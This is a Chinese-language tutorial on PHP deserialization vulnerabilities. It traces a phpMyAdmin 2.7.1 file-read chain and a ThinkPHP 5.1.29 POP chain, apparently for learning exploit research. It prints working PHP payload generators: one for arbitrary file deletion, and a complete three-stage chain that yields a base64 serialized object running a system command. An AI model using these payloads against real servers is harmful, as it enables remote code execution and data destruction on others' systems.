0x01 文章目的
文章主要目的在于对PHP反序列化从浅到深学习,对于小白可以完整的了解到反序列化代码审计以及反序列化pop链编写的整个流程和思路,对于已经了解反序列化的大佬们,此文章也可以当作笔记回顾一下。
0x02 PHP反序列化一些前沿知识
序列化:将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。
反序列化:从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程。
反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击。
漏洞满足条件:对应的函数点和可控变量或文件
1、可控的文件,文件使用文件判断类函数操作(phar反序列化)
2、可控的变量,变量采用的unserialize去操作(反序列化)
由于phar反序列化利用条件太过苛刻,此篇文章只以普通类型反序列化为例
PHP常用的魔法函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
反序列化常用起点
1、__wakeup //一定会调用
2、__destruct //一定会调用
3、__toString // 当一个对象被反序列后又被当字符串使用
反序列化的常见中间跳板
1、__toString //当一个对象被当做字符串使用
2、__get //读取不可访问或不存在属性时被调用
3、__set //当访问不可访问或不存在属性赋值时调用
反序列化的常见终点
1、__call() //调用不可访问或不存在的方法时被调用
2、call_user_func() //一般PHP代码执行会选择这里
3、call_user_func_array //一般PHP代码执行会选择这里
0x03简单反序列化链跟踪以及简单pop链编写
这里以PhpMyAdmin2.7.1反序列化漏洞为例
搭建环境PhpMyAdmin2.7.1+Apache+Mysql
1、首先找入口搜索关键字unserialize,然后我们打开第一个查看,这里有可控参数configuration,但要进行反序列化就必须configuration不为空、action!=clear(路径scripts\setup.php)。
2、然后根据前提知识提到的使用unserialize就会触发__wakeup魔法函数,我们就接着搜索一下__wakeup。
3、 一般来说上面两个都要看,但我替你们看过了第二个存在漏洞。
4、接着去跟踪这里出现的load以及getsource函数,先看这里的load函数,load函数使用了eval以及file_get_content危险函数,这就可能造成命令执行或者任意文件读取漏洞,刚好这里的参数里有getsource函数。
5、再然后我们跟踪getsource函数,getsource函数获取了变量source
6、最后我们先梳理下整个流程然后进行简单pop链编写,流程:unserializ-->__wakeup-->load函数-->eval以及file_get_content危险函数,而unserializ函数这里有可控参数configuration,并且要在configuration不为空、action!=clear的情况下才可以执行,getsource函数获取了变量source。所以我们的pop链就容易编写了,由上文提及的反序列化原理可知我们需要构造一个危险对象然后序列化成字节流,对象就是PMA_Config,然后对象中要包含我们定义的变量source来进行文件读取。
7、pop链,以及执行结果如下
8、最后我们去scripts\setup.php路径进行post传参,成功读取到1.php
总结:从简单的反序列化导致的任意文件读取案例入手,希望读者可以了解到反序列化链的跟踪方法,以及根据反序列化漏洞原理来构造简单的pop链。
0x04小白跟踪复杂反序列化方法
这里以thinkphp5.1.29反序列化为例,由于thinkphp5.1.29跟链并不容易,所以对于我们小白来说先使用xdebug插件进行跟链。
环境搭建thinkphp5.1.29+ Apache+Mysql+xdebug
流程:首先去网上寻找thinkphp5.1.29反序列化漏洞的poc进行漏洞验证,然后配合xdebug插件来跟thinkphp5.1.29的反序列化链,当然前提是thinkphp的路由要弄明白,这里也会略微讲解下thinkphp的路由配置。
路由学习参考thinkphp官网:https://doc.thinkphp.cn/v5\_0/default.html
一、使用xdebug插件进行跟链
1、首先我们依旧先搜索关键字unserialize,发现带有可控参数的一行进入。
2、下面问题来了,我们如何访问这个页面?这里当然不是我们常规的方法,这里的页面打开方式为入口文件/模块/控制器/操作,更详细的参考thinkphp官网。对于我通俗易懂的理解就是public/index.php/(入口文件)+ index/index/+unser函数名+id参数,当然这里只是个人理解,仅供参考。
3、然后我们访问/public/index.php/index/index/unser并给id传参(我们提前在网上找好的poc),成功弹出计算器。
4、接下来就轮到我们的重量级工具xdebug上场了,phpstrom以及浏览器配置好并开启,并在反序列化的位置进行断点。
5、访问网页,然后使用xdebug进行动态调试,一次次步入由下图可以发现整个rce执行pop链。
二、手动跟链
1、从上文的前沿我们知道__destruct()必然触发,所以我们跟到这里
2、我们这里跟进removeFiles(),file_exists()函数根据定义,此函式将参数转化为 string 类型再进行查询,因此触发toString()魔术方法。
3、由于这里的 files 是可控的并且位于Windows类中这就引出了我们的第一个链,并且还存在任意文件删除漏洞,poc如下
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
private $files = ['e:\\1.txt'];
}
$a=new Windows();
echo base64_encode(serialize($a));
?>
4、继续跟进toJson()
5、继续跟进toArray()
6、在toArray()中,visible未声明不可访问触发__call,前提条件append不为空,name是数组,并且$relation为空,所以得让getRelation()为空
public function toArray()
{
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
7、我们跟进getRelation(),这里我们就需要传$key参数,内容必须是数组,所以$name不为空,进入 elseif,最后返回relation[]
8、我们继续跟进getAttr()
9、继续跟进getData(),这里有我们需要控制的变量data,这里总结下上文中的append 位于 conversion 类中,data 位于attribute 类中,要想同时控制它们俩,这就要找一个子类同时继承 (use) conversion 类和attribute 类,通过搜索不难发现子类就是 Model
10、在toArray()中,visible未声明不可访问触发__call(),所以继续跟进__call(),由于hook可控,且位于Request类中,所以method可控。我们选择触发isAjax是因为isAjax函数可导致漏洞,具体原因请继续往下浏览
11、跟进isAjax()这里的config可控,所以param中的name可控以及上文的hook均位于request类中
12、继续跟进parm(),这里的mergeparam要使其为真,并且mergeparam也位于request类中
13、继续跟进input()
14、继续跟进filterValue(),filterValue()中发现导致rce函数call_user_func(),并且filter可控,这里再总结一下上文提及的config,param,hook, mergeparam以及这里的filter均位于request类中
0x05反序列化漏洞挖掘思路
从上文得知在已知poc的情况下并配合xdebug插件跟链就几乎大脑跟不上,可以想象大佬在挖掘过程多么复杂,其实跟链上文已经说明的差不多了,这里主要点一下最关键的点,也是最困难的点,看完也许会有柳暗花明的感觉。
1、这里的要点在于我们在跟到_call函数时是如何跳转到isAjax函数,如果我们是漏洞挖掘者,我们会以怎样的思路来挖掘。
2、这里新奇的思路就在于逆推,上文已经提及pop链的终点函数,所以我们就可以从终点向起点跟进,即从call_user_func()向前,当跟到isAjax函数时终止,而刚好_call函数下的hook可控,我们便可以给其赋值为isAjax,这样两个链子就栓在了一起,形成了完整的一条链。
0x06 复杂pop链编写方法
由于pop链比较复杂所以采取分段式编写即
第一段:__destruct->removeFiles-> file_exists
第二段:__toString->toJson->toArray->visible
第三段:__call->isAjax->param->input->filterValue->call_user_func
分成三段之后根据反序列化链中的要求构造类,这里的要点是pop链与跟链相反的方向,通俗理解可以是序列化与反序列化相反的逻辑。例如a->-b->c,c反序列化,跟链为c>b>a,构造链为a->b->c。
这里,读完上文看到下面的poc应该会很熟悉,第一条链前面已经写了,第二条链子类继承关系前面也写了,需要注意的就是要与第一条链的request类连起来,而第三条链可控变量也有提及,这样就可以构造出完整的一条链了。
<?php
//第三条链__call->isAjax->param->input->filterValue->call_user_func
namespace think; //创造空间
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = ['calc'];
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
$this->filter=['system'];
}
}
//第二条链__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
//model子类继承conversion类和attribute类
protected $append = [];
private $data=[];
function __construct(){
$this->append=['coleak'=>['']];
$this->data=['coleak'=>new Request()];
}
}
//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
//第一条链__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));